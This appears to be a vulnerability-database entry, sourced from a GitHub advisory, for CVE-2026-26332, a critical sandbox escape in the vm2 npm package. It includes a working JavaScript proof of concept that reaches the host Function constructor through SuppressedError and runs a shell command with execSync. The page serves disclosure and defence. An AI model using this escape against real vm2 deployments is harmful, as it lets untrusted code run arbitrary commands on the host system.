MISFIRE

Browse / AI Framework and Platform Flaws / CVE-2026-26332

VM2 Has a Sandbox Escape Issue via SuppressedError

CVE-2026-26332 ยท 2026-05-05 critical

Class
AI Framework and Platform Flaws (filed by a model that read the source)
Technique
Sandbox escape
Affected
vm2 (npm)
Gets past
Sandbox or allowlist
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
0.7% chance of exploitation in 30 days

How it works, in short

Errors thrown from deferred DisposableStack callbacks expose a host-realm constructor through SuppressedError, letting code leave the vm2 sandbox. (Our summary, written by a model. The source text is below.)

Details

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC

const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);

References

Source: GitHub Advisory Database, used under CC BY 4.0.